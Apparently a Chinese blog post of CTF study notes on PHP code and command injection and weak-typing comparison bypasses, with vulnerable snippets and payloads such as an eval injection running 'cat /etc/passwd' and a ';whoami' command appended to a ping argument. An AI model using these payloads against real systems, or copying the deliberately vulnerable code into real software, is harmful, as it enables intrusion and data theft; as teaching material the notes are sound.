• PHP 弱类型 && CODE/COMMADN injection


    CODE/COMMAND INJECTION

    CODE INJECTION

    https://www.freebuf.com/sectool/168653.html

    EXAMPLE1

     

    <?php
    
    $str = “echo ”hello “. $GET_[‘name’].”!!!”;”;      .是连接  双引号注意就近。  
    
    Eval($str);          ”双引号转义 因为echo  内容需要是字符串
    
    ?>
    
     
    
    注意单引号双引号区别
    
     
    
    %22.system(%27ls%27);//   输入,替换了$GET_[‘name’]
    
     
    
    %22 :   “
    
    %27: ‘
    
     
    
    <?php
    
    $str = “echo ”hello “. %22.system(%27ls%27);//.”!!!”;”;    
    
    Eval($str);
    
    ?>
    
     
    
    ‘.cat /etc/passwd’
    
     
    
    %22.system(‘cat  /etc/passwd’);//   失败
    
    %22.system(%27cat  /etc/passwd%27);//     成功

    COMMAND INJECTION

    Example 1

    <?php

    System(‘ping –c $_GET[‘ip’]’ );

    ?>

    127.0.0.1;whoami

    PHP 弱类型

    = ==

    strcmp()

    <?php 
        if (isset($_GET['value'])) { 
        if (strcmp($_GET['value'], $flag) == 0) 
            die('Flag is: '.$flag); 
        else print 'Flag is not here !'; 
    } 
    ?>

    Strcmp= s1-s2

    参数是两个数组,输入数组则错误,判断相等

     

    Urlcode 二次编码绕过

    /i 不区分大小写

    浏览器对用户输入数据自动解码(比如输入 %27

    <?php 
        if(preg_match("/hackerDJ/i",$_GET[id])) {
     echo(" not allowed ! "); 
     exit();
     } 
     $_GET[id] = urldecode($_GET[id]);  //解码
     if($_GET[id] == "hackerDJ") { 
      die('Flag is: '.$flag);  
     }
    ?>
    
     

    D ,%44,再次urlencode,得到 %2544 

    整数类型大小比较

    数组在比较中恒大与具体值

    其他类型和整形比较会先 intval()

    <?php 
    $temp = $_GET['id']; 
    is_numeric($temp) ? die("retry !") : NULL; 
    if($temp>6607){ 
        die('Flag is: '.$flag);  
    } else print 'Flag is not here !';
    ?> Flag is not here !

    Extract 变量覆盖

    Extract(array,extract_rules,prefix)

    <?php 
        $flags='test.txt';
        extract($_GET); 
        if(isset($id)) { 
            $content=trim(file_get_contents($flags)); 
        if($id==$content) { 
            die('Flag is: '.$flag);
        } else { 
        print 'Flag is not here !'; 
        } } 
        ?>

    如果输入id=$content

    使用extract接收输入,存在变量覆盖,覆盖flags

    接收输入后,flags=1,此时

    file_get_contents($flags)

    取不到文件,故content为空

    同时输入id是空。   &是连接符,重新复制flags

    输出flag

    Intval()

    小数取整echo intval(9.999); // 9。最大值取决于操作系统

     
    
    <?php
        $key = $_GET['key'];
        if(intval($key) > 1||intval($key) < 0){
            die("key is not right");
        }
        elseif (intval($key) < 1) {
            if ($key ==1) {
                die('Flag is: '.$flag); 
            }else print 'key is not right !!!';
        } ?> key is not right !!!
    
     

    Php中弱比较,1==0.999999999999999999999999

    比如 echo 1==0.999999999999999999999999  输出1

    正则截断

    Erge

    Php版本小于5.3

    遇到%00 默认字符串结束

    Preg_match()

    Php>=5.3

    遇到%00 默认字符串结束

     
    
    
    <?php 
        if(isset($_GET['password'])){
    if(preg_match("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE){ 
        print('You password not right'); 
    
    } elseif(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){
        if(strpos($_GET['password'], '*_*') !== FALSE){
         die('Flag is:'.$flag); 
    } else{ 
        print('*_* have not been found'); 
        } 
    } else{ 
        print('Invalid password'); 
        } 
    }
    ?>

    1e8 >9999999 字符串长度小于8

    Eval() 注入

    把字符串当做PHP代码执行。只能执行不能回显。

    <?php 
        if (isset($_GET['id'])) { 
        $id = $_GET['id'];
        eval("var_dump($id);");
    } 
    ?>

    闭合括号,注释掉后面

    Md5()弱比较

    PHPmd5对数组加密返回NULL

    对所有0e开头(16进制)字符串认为相等

    <?php 
    if (isset($_GET['p1']) && isset($_GET['p2'])) { 
        if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) == md5($_GET['p2'])) 
            die('Flag is: '.$flag); 
        else print 'Flag is not here !'; 
    } 
    ?>

    输入数组用  ?p1[],多个用 &

    Md5()强比较

    == 只对值比较,两边先转化为同种类型,若一方为数字另一方为空或null或数组,现将字符串转化为0

    === 比较类型和值

    <?php 
    if (isset($_GET['p1']) && isset($_GET['p2'])) { 
        if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) === md5($_GET['p2'])) 
            die('Flag is: '.$flag); 
        else print 'Flag is not here !'; 
    } 
    ?>

     

    Sha()弱比较

    对数组加密返回NULL

    <?php 
    if (isset($_GET['name']) and isset($_GET['password'])) { 
        if ($_GET['name'] == $_GET['password']) 
            echo ' Your password can not be your name! '; 
        else if (sha1($_GET['name']) === sha1($_GET['password'])) 
            die('Flag: '.$flag); else echo ' Invalid password '; 
    } 
    else echo 'Flag is not here !'; 
    ?> Flag is not here !

    Strpos

    查找字符串在字符串第一次出现的位置。Strposstringfindstart)。在string中查找find

    <?php 
    if (isset($_GET['id'])) { 
        $one = ord('0'); 
        $nine = ord('9');
        for($i = 0; $i < strlen($_GET['id']); $i++) {  
            $digit = ord($_GET['id']{$i}); 
            if(($digit < $one) || ($digit > $nine) ) { 
                print("必须输入数字才行");
                return FALSE; 
                } 
            } 
        if (strpos($_GET['id'], 'sss607') !== FALSE) 
            die('Flag: '.$flag); 
        else echo 'flag is not here ~'; 
    }
    ?>

    先判断只有数字

    Strpos对数组查找返回NULLNULL!==flase

    Session 验证绕过

    Session_start() 用来初始化session或从session仓库加载已经存在的session变量

    <?php 
    @session_start(); 
    print($_SESSION["password"]);
        if ($_GET['password'] == $_SESSION['password'])
            die ('Flag: '.$flag);
        else
            print 'password is not right !';
    $_SESSION['password']=rand(10000000,99999999);
    ?>

    系统会判断用户输入的password的值是否与当前sessionpassword值相同。初始时session为空,故输入password为空即可

    若直接访问过http://10.201.132.248:8090/13.session/session.php session已经存在,不为空。清空缓存或者换浏览器即可

  • 相关阅读:
    notepad++插件 small
    js中面向对象 small
    #九阴真经#优选配置渲染流程简要分析[Flexi引擎]
    gkENGINE HDR流程简析
    新的开始
    以前的一些画
    gkENGINE 开发两年半总结(上)
    gkENGINE跨平台的问题总结
    win7下安装xp双系统
    Hadoop0.20.2+ Nutch1.2+Tomcat7——分布式搜索配置
  • 原文地址:https://www.cnblogs.com/lqerio/p/13610142.html
Copyright © 2020-2023  润新知